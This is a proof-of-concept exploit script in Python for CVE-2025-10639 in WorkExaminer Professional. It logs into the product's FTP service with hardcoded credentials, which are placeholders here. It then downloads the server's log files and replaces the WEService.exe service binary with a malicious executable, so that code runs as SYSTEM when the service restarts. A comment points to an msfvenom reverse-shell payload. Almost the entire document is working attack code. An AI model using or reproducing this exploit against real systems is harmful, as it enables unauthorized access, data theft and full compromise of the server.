CVE-2025-10639 WorkExaminer Professional服务器硬编码凭据导致RCE

# CVE-2025-10639 PoC - WorkExaminer Professional Hardcoded Credentials FTP Access # Exploit: Connect to FTP server using hardcoded credentials and replace service binary import ftplib import socket import sys import struct TARGET_HOST = "192.168.1.100" # Target WorkExaminer server FTP_PORT = 12304 # Default FTP port for WorkExaminer # Hardcoded credentials (extracted from WorkExaminer Professional binary) # Note: These credentials are embedded in the product's FTP service module HARDCODED_USERNAME = "we_user" # Placeholder - actual creds extracted via reverse engineering HARDCODED_PASSWORD = "we_pass" # Placeholder - actual creds extracted via reverse engineering INSTALL_DIR = "C:/Program Files (x86)/Work Examiner Professional Server/" SERVICE_BINARY = "WEService.exe" # Target service binary to replace def check_port_open(host, port): """Check if the FTP port is accessible on the target host.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((host, port)) sock.close() return result == 0 except Exception as e: print(f"[ERROR] Port check failed: {e}") return False def exploit_ftp(host, port, username, password): """Exploit the hardcoded credentials to gain FTP access.""" try: print(f"[*] Connecting to FTP server at {host}:{port}") ftp = ftplib.FTP() ftp.connect(host, port, timeout=10) print(f"[*] Attempting login with hardcoded credentials") ftp.login(username, password) print(f"[+] Successfully authenticated as '{username}'") # List files in the installation directory print("[*] Listing installation directory contents:") files = ftp.nlst() for f in files: print(f" - {f}") # Download sensitive log files print("\n[*] Downloading log files...") log_files = [f for f in files if f.endswith('.log')] for log_file in log_files: try: with open(f"exfiltrated_{log_file}", "wb") as f: ftp.retrbinary(f"RETR {log_file}", f.write) print(f"[+] Downloaded: {log_file}") except Exception as e: print(f"[-] Failed to download {log_file}: {e}") # Replace service binary for RCE print(f"\n[*] Uploading malicious payload to replace {SERVICE_BINARY}") # Generate a reverse shell payload (msfvenom -p windows/x64/shell_reverse_tcp ...) # For demonstration, using a simple command execution payload payload = b"MZ\x90\x00" + b"\x00" * 100 # PE header stub with open("malicious_service.exe", "rb") as f: payload = f.read() ftp.storbinary(f"STOR {SERVICE_BINARY}", open("malicious_service.exe", "rb")) print(f"[+] Service binary replaced successfully") print(f"[!] When the service restarts, payload will execute as NT AUTHORITY\\SYSTEM") ftp.quit() return True except ftplib.error_perm as e: print(f"[-] Authentication failed: {e}") return False except Exception as e: print(f"[-] Exploit failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-10639 - WorkExaminer Professional RCE Exploit") print("=" * 60) if not check_port_open(TARGET_HOST, FTP_PORT): print(f"[-] Port {FTP_PORT} is not open on {TARGET_HOST}") sys.exit(1) print(f"[+] Port {FTP_PORT} is open") if exploit_ftp(TARGET_HOST, FTP_PORT, HARDCODED_USERNAME, HARDCODED_PASSWORD): print("\n[!] Exploit completed successfully") else: print("\n[-] Exploit failed") if __name__ == "__main__": main()